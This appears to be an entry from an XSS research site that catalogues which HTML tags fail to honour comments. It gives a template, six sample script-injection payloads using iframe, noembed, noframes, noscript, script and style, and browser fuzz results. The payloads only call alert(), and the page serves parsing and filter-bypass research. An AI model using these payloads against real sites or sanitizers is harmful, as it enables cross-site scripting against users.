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Tags that DO NOT support HTML comments

⚠ Browser differences
Chrome logo 6
Firefox logo 5
Edge logo 6
Safari logo 5

This vector attempts to show which HTML tags DO NOT support HTML comments.

hackvertor
Created byhackvertor
Created Jan 26, 2025
Updated May 28, 2025

Tweet
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
$[data1] placeholderhtml
Template used:
<$[data1]><!-- </$[data1]><script>log('$[data1]')</script></$[data1]>  -->

Sample payloads

<iframe><!-- </iframe><script>alert('iframe')</script></iframe>  -->
<noembed><!-- </noembed><script>alert('noembed')</script></noembed>  -->
<noframes><!-- </noframes><script>alert('noframes')</script></noframes>  -->
<noscript><!-- </noscript><script>alert('noscript')</script></noscript>  -->
<script><!-- </script><script>alert('script')</script></script>  -->
<style><!-- </style><script>alert('style')</script></style>  -->

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated16 Feb 2026
Found 6 results
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Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated28 Jan 2026
Found 6 results
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Chrome logo
Chrome 137.0.0.0 mobile Android 10older version
Updated13 Jun 2025
Found 6 results
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Firefox logo
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 5 results
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Firefox logo
Firefox 147.0 desktop Linuxolder version
Updated1 Feb 2026
Found 5 results
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Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 6 results
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Edge logo
Microsoft Edge 132.0.0.0 desktop macOS 10.15.7older version
Updated5 Feb 2025
Found 5 results
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Safari logo
Safari 18.5 mobile iOS 18.5
Updated6 Jun 2025
Found 5 results
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